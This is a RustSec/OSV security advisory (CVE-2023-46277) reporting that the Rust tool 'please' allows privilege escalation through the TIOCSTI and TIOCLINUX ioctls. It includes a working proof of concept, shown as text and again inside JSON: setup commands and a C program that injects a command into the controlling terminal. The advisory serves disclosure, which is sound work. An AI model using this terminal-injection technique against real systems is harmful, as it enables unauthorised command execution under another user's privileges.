rustsec-2023-0066
Vulnerability from osv_rustsec
Published
2023-04-29 12:00
Modified
2024-02-10 15:57
Summary
Vulnerable to privilege escalation using ioctls TIOCSTI and TIOCLINUX
Details

please is vulnerable to privilege escalation using ioctls TIOCSTI and TIOCLINUX on systems where they are not disabled.

Here is how to see it in action:

$ cd "$(mktemp -d)"
$ git clone --depth 1 https://gitlab.com/edneville/please.git
$ cd please/
$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9
$ cargo test && cargo build --release
$ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
$ sudo chown root:root ./target/release/please
$ sudo chmod u+s ./target/release/please
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>

int main(void) {
  const char *text = "id\n";
  while (*text)
    ioctl(0, TIOCSTI, text++);
  return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody

Please note that:

This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.

To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "categories": [
          "privilege-escalation"
        ],
        "cvss": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
        "informational": null
      },
      "ecosystem_specific": {
        "affected_functions": null,
        "affects": {
          "arch": [],
          "functions": [],
          "os": []
        }
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "pleaser",
        "purl": "pkg:cargo/pleaser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.0-0"
            }
          ],
          "type": "SEMVER"
        }
      ],
      "versions": []
    }
  ],
  "aliases": [
    "CVE-2023-46277",
    "GHSA-cgf8-h3fp-h956"
  ],
  "database_specific": {
    "license": "CC0-1.0"
  },
  "details": "please is vulnerable to privilege escalation using ioctls TIOCSTI\nand TIOCLINUX on systems where they are not disabled.\n\nHere is how to see it in action:\n\n```\n$ cd \"$(mktemp -d)\"\n$ git clone --depth 1 https://gitlab.com/edneville/please.git\n$ cd please/\n$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9\n$ cargo test \u0026\u0026 cargo build --release\n$ echo \"[${USER}_as_nobody]\"$\u0027\\nname=\u0027\"${USER}\"$\u0027\\ntarget=nobody\\nrule=.*\\nrequire_pass=false\u0027 | sudo tee /etc/please.ini\n$ sudo chown root:root ./target/release/please\n$ sudo chmod u+s ./target/release/please\n$ cat \u003c\u003cTIOCSTI_C_EOF | tee TIOCSTI.c\n#include \u003csys/ioctl.h\u003e\n\nint main(void) {\n  const char *text = \"id\\n\";\n  while (*text)\n    ioctl(0, TIOCSTI, text++);\n  return 0;\n}\nTIOCSTI_C_EOF\n$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c\n$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody\n```\n\nPlease note that:\n\nThis affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.",
  "id": "RUSTSEC-2023-0066",
  "modified": "2024-02-10T15:57:43Z",
  "published": "2023-04-29T12:00:00Z",
  "references": [
    {
      "type": "PACKAGE",
      "url": "https://crates.io/crates/pleaser"
    },
    {
      "type": "ADVISORY",
      "url": "https://rustsec.org/advisories/RUSTSEC-2023-0066.html"
    },
    {
      "type": "REPORT",
      "url": "https://gitlab.com/edneville/please/-/issues/13"
    }
  ],
  "related": [],
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vulnerable to privilege escalation using ioctls TIOCSTI and TIOCLINUX"
}


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